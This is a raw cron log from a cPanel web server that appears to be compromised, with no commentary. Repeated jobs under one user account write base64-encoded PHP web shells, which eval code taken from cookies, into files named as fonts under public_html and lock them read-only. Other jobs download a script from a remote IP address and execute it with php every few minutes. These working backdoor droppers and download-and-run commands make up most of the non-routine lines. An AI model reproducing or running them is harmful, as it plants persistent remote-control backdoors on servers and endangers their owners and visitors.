Sep  6 00:53:01 ip-184-168-122-23 CROND[19953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:54:01 ip-184-168-122-23 CROND[20033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:54:01 ip-184-168-122-23 CROND[20038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:54:01 ip-184-168-122-23 CROND[20035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:54:01 ip-184-168-122-23 CROND[20036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:54:01 ip-184-168-122-23 CROND[20037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:55:01 ip-184-168-122-23 CROND[20120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:55:01 ip-184-168-122-23 CROND[20125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:55:01 ip-184-168-122-23 CROND[20123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:55:01 ip-184-168-122-23 CROND[20121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:55:01 ip-184-168-122-23 CROND[20122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:55:01 ip-184-168-122-23 CROND[20124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:56:01 ip-184-168-122-23 CROND[20214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:56:01 ip-184-168-122-23 CROND[20215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:56:01 ip-184-168-122-23 CROND[20216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:56:01 ip-184-168-122-23 CROND[20217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:56:01 ip-184-168-122-23 CROND[20218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:57:02 ip-184-168-122-23 CROND[20299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:57:02 ip-184-168-122-23 CROND[20300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:57:02 ip-184-168-122-23 CROND[20301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:57:02 ip-184-168-122-23 CROND[20302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:58:01 ip-184-168-122-23 CROND[20415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:58:01 ip-184-168-122-23 CROND[20416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:58:01 ip-184-168-122-23 CROND[20418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:58:01 ip-184-168-122-23 CROND[20420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:58:01 ip-184-168-122-23 CROND[20421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:59:01 ip-184-168-122-23 CROND[20564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:59:01 ip-184-168-122-23 CROND[20566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:59:01 ip-184-168-122-23 CROND[20565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:59:01 ip-184-168-122-23 CROND[20567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:00:02 ip-184-168-122-23 CROND[20653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:00:02 ip-184-168-122-23 CROND[20655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:00:02 ip-184-168-122-23 CROND[20659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:00:02 ip-184-168-122-23 CROND[20657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:00:02 ip-184-168-122-23 CROND[20661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:00:02 ip-184-168-122-23 CROND[20656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:00:02 ip-184-168-122-23 CROND[20658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:00:02 ip-184-168-122-23 CROND[20667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:01:01 ip-184-168-122-23 CROND[20755]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20755]: starting 0anacron
Sep  6 01:01:01 ip-184-168-122-23 CROND[20763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:01:01 ip-184-168-122-23 CROND[20762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:01:01 ip-184-168-122-23 CROND[20765]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 01:01:01 ip-184-168-122-23 CROND[20766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:01:01 ip-184-168-122-23 CROND[20767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:01:01 ip-184-168-122-23 anacron[20772]: Anacron started on 2026-09-06
Sep  6 01:01:01 ip-184-168-122-23 anacron[20772]: Normal exit (0 jobs run)
Sep  6 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20777]: finished 0anacron
Sep  6 01:02:01 ip-184-168-122-23 CROND[20853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:02:01 ip-184-168-122-23 CROND[20855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:02:01 ip-184-168-122-23 CROND[20857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:02:01 ip-184-168-122-23 CROND[20856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:02:01 ip-184-168-122-23 CROND[20858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:03:01 ip-184-168-122-23 CROND[20937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:03:01 ip-184-168-122-23 CROND[20936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:03:01 ip-184-168-122-23 CROND[20938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:03:01 ip-184-168-122-23 CROND[20939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:04:01 ip-184-168-122-23 CROND[21013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:04:01 ip-184-168-122-23 CROND[21014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:04:01 ip-184-168-122-23 CROND[21015]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:04:01 ip-184-168-122-23 CROND[21016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:04:01 ip-184-168-122-23 CROND[21017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:05:01 ip-184-168-122-23 CROND[21192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:05:01 ip-184-168-122-23 CROND[21195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:05:01 ip-184-168-122-23 CROND[21194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:05:01 ip-184-168-122-23 CROND[21198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
